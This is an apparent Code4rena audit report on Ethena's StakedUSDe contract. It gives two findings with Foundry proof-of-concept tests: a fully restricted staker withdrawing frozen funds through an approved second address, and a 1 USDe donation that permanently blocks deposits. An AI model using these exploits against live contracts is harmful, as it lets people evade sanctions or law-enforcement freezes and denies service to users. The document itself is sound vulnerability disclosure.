Ethena Labs - mert_eren's results

Lines of code

https://github.com/code-423n4/2023-10-ethena/blob/ee67d9b542642c9757a6b826c82d0cae60256509/contracts/StakedUSDe.sol#L225-L238 https://github.com/code-423n4/2023-10-ethena/blob/ee67d9b542642c9757a6b826c82d0cae60256509/contracts/StakedUSDe.sol#L245-L252

Vulnerability details

Impact

FULL_RESTRICTED_STAKER's should not use any function in stakedUSDe.In document says:

FULL_RESTRCITED_STAKER_ROLE is for sanction/stolen funds, or if we get a request from law enforcement to freeze funds. Addresses fully restricted cannot move their funds, and only Ethena can unfreeze the address.

But restricted_staker can withdraw his funds from stakedUSDe with using another EOA.

Proof of Concept

POC Steps are: 1)FULL_RESTIRICTED_STAKER bob has 100 ether stakedUSDe. 2) he has another EOA which name is bob1 and from his restricted account give approve to bob1 after see restriction. 3)From bob1 he call withdraw function with owner paramater main account and receive parameter bob1. 4)bob1 take relevant USDe tokens without revert. and there is test:

  function test_fullBlacklist_can_withdraw() public {
    uint amount=1000 ether;
    _mintApproveDeposit(alice, amount, false);//@audit alice stake 1000 ether to stakedUSDe
    vm.startPrank(owner);
    stakedUSDe.grantRole(FULL_RESTRICTED_STAKER_ROLE, alice);//@audit admin restrict alice 
    vm.stopPrank();
    vm.prank(alice);
    stakedUSDe.approve(address(1),type(uint256).max);//@audit alice give another address to approve.
    assertEq(stakedUSDe.balanceOf(alice), 1000 ether);//@audit she has 1000 ether stakedUSDe right now.
    assertEq(usdeToken.balanceOf(address(1)),0);//@audit her second EOA has no USDe right now.
    vm.prank(address(1));
    stakedUSDe.withdraw(amount, address(1), alice);//@audit from second EOA she burn stakedUSDe and take USDe.
    assertEq(stakedUSDe.balanceOf(alice), 0);//@audit now there is no stakedUSDe in her restricted account.
    assertEq(usdeToken.balanceOf(address(1)),1000 ether);//@audit she take USDe with second account.
  }

If you run this test in test/foundry/staking/StakedUSDe.blacklist.t.sol StakedUSDeBlacklistTest contract ,it will give succes so it can be understood restricted user can use withdraw for his frozen tokens by using another EOA. The root cause of this bug is _withdraw function look is caller or receiver Full_restricted_account but don't look for owner.For owner _beforeTokenTransfer part look but due to withdraw function burn tokens _beforeTokenTransfer function's to paramater will be address(0) and for this condiiton function don't revert.

  function _withdraw(address caller, address receiver, address _owner, uint256 assets, uint256 shares)
    internal
    override
    nonReentrant
    notZero(assets)
    notZero(shares)
  {
    if (hasRole(FULL_RESTRICTED_STAKER_ROLE, caller) || hasRole(FULL_RESTRICTED_STAKER_ROLE, receiver)) {
      revert OperationNotAllowed();
    }


    super._withdraw(caller, receiver, _owner, assets, shares);
    _checkMinShares();
  }

  function _beforeTokenTransfer(address from, address to, uint256) internal virtual override {
    if (hasRole(FULL_RESTRICTED_STAKER_ROLE, from) && to != address(0)) {
      revert OperationNotAllowed();
    }
    if (hasRole(FULL_RESTRICTED_STAKER_ROLE, to)) {
      revert OperationNotAllowed();
    }
  }

Tools Used

Recommended Mitigation Steps

Assessed type

Access Control

Lines of code

https://github.com/code-423n4/2023-10-ethena/blob/ee67d9b542642c9757a6b826c82d0cae60256509/contracts/StakedUSDe.sol#L190-L194

Vulnerability details

Impact

_checkMinShares function control the totalSupply amount of the stakedUSDe after deposit and withdraw functions. If totalSupply less than MIN_SHARES(1 ether) when not 0 the whole process revert.

  /// @notice ensures a small non-zero amount of shares does not remain, exposing to donation attack
  function _checkMinShares() internal view {
    uint256 _totalSupply = totalSupply();
    if (_totalSupply > 0 && _totalSupply < MIN_SHARES) revert MinSharesViolation();
  }

Due to 1 ether is too big if totalSupply=0 a malicious user can process a griefing by transfer 1 ether of USDe(1 ether USDe's worth to 1$) to stakedUSDe account. By doing this from now on nobody can use deposit function because for doing deposit without revert, a user should deposit 10**18 ether USDe.

Proof of Concept

test is:

  function testDos() public{
    usdeToken.mint(bob,1000 ether);
    usdeToken.mint(alice,1000 ether);
    vm.prank(bob);
    usdeToken.transfer(address(stakedUSDe), 1 ether);
    vm.startPrank(alice);
    usdeToken.approve(address(stakedUSDe), type(uint).max);
    vm.expectRevert(bytes4(keccak256("MinSharesViolation()")));
    stakedUSDe.deposit(100 ether,alice);
  }

please paste this test in test/foundry/staking/StakedUSDe.t.sol and you can see test will pass. So it can be seen that after bob transfer 1 ether USDe to stakedUSDe when totalSupply=0. Alice cannot deposit even 100 ether of USDe with revert of MinShareViolation. Becuase she will gain 100 stUSDe from contract and totalSupply will be 100 which is clearly less than MIN_SAHRES(1 ether).

Tools Used

Recommended Mitigation Steps

Assessed type

DoS